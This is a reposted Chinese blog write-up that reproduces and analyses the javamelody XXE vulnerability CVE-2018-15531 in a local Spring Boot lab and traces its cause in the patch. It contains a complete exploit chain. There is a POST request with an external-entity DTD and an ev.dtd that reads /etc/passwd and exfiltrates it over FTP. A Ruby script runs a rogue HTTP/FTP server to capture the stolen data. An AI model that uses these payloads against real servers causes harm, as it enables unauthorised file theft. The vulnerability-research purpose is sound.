转载

javamelody XXE(CVE-2018-15531) 复现分析

javaMelody是Spring Boot框架可用的一个监视服务器运行信息的插件,这个插件去年爆出了一个XXE的漏洞。这篇文章便分析一下这个漏洞。

漏洞复现

环境搭建

这里我使用了Idea来搭建spring boot的环境,创建好spring boot项目后在 pom.xmldependencies 中加入

<dependency>
            <groupId>net.bull.javamelody</groupId>
            <artifactId>javamelody-spring-boot-starter</artifactId>
            <version>1.73.1</version>
        </dependency>

之后启动程序,访问 127.0.0.1:8080/monitoring 便可以验证是否加载成功插件。

漏洞复现

漏洞复现使用的poc为:

POST / HTTP/1.1
Host: localhost:8080
Content-type: text/xml
SOAPAction: aaaaa
Content-Length: 154

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1:5678/ev.dtd">
%remote;
]>
</root>

在本地起一个监听5678端口的http服务,这里我用的是php

javamelody XXE(CVE-2018-15531) 复现分析

可以看到发包后可以收到http请求,因此存在XXE漏洞。

为了完成盲打读取文件的功能,ev.dtd的内容如下:

<!ENTITY % payload SYSTEM	"file:///etc/passwd">
<!ENTITY % int "<!ENTITY   trick SYSTEM 'ftp://127.0.0.1:2121/%payload;'>">
%int;
%trick;

使用如下的ruby脚本可以创建一个用于获取ftp请求的ftp服务器:

require 'socket'

ftp_server = TCPServer.new 2121
http_server = TCPServer.new 8088

log = File.open( "xxe-ftp.log", "a")

payload = '<!ENTITY % asd SYSTEM "file:///etc/passwd">'

Thread.start do
loop do
  Thread.start(http_server.accept) do |http_client|
	puts "HTTP. New client connected"
	loop {
		req = http_client.gets()
		break if req.nil?
		if req.start_with? "GET"
			http_client.puts("HTTP/1.1 200 OK/r/nContent-length: #{payload.length}/r/n/r/n#{payload}")
		end
		puts req
	}
	puts "HTTP. Connection closed"
  end
end

end

Thread.start do
loop do
  Thread.start(ftp_server.accept) do |ftp_client|
	puts "FTP. New client connected"
	ftp_client.puts("220 xxe-ftp-server")
	loop {
		req = ftp_client.gets()
		break if req.nil?
		puts "< "+req
		log.write "get req: #{req.inspect}/n"

		if req.include? "LIST"
			ftp_client.puts("drwxrwxrwx 1 owner group          1 Feb 21 04:37 test")
			ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
			ftp_client.puts("226 Transfer complete.")
		elsif req.include? "USER"
			ftp_client.puts("331 password please - version check")
		elsif req.include? "PORT"
			puts "! PORT received"
			puts "> 200 PORT command ok"
			ftp_client.puts("200 PORT command ok")
		else
			puts "> 230 more data please!"
			ftp_client.puts("230 more data please!")
		end
	}
	puts "FTP. Connection closed"
  end
end
end

loop do
	sleep(10000)
end

运行脚本,Burp重新发包即可获取本地文件。

原理分析

根据大佬们的分析流程,直接查看之后的版本的patch可以定位导致漏洞出现的地方:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353

javamelody XXE(CVE-2018-15531) 复现分析

可以看到官方的修复中直接禁用了XML中引用外部实体。我们跟进目标代码附近

javamelody XXE(CVE-2018-15531) 复现分析

可以看到这段代码是一个典型的XXE的漏洞代码。全局查找使用了 parseSoapMethodName 的地方

javamelody XXE(CVE-2018-15531) 复现分析

跟进 initialize 方法

javamelody XXE(CVE-2018-15531) 复现分析

可以看到漏洞利用方法构造的要素:

  • POST方法
  • Content-type:为 application/soap+xml 或者Content-type为 text/xml 且存在 SOAPAction 请求头
原文  http://hexo.imagemlt.xyz/post/melodyXXE/index.html
正文到此结束
Loading...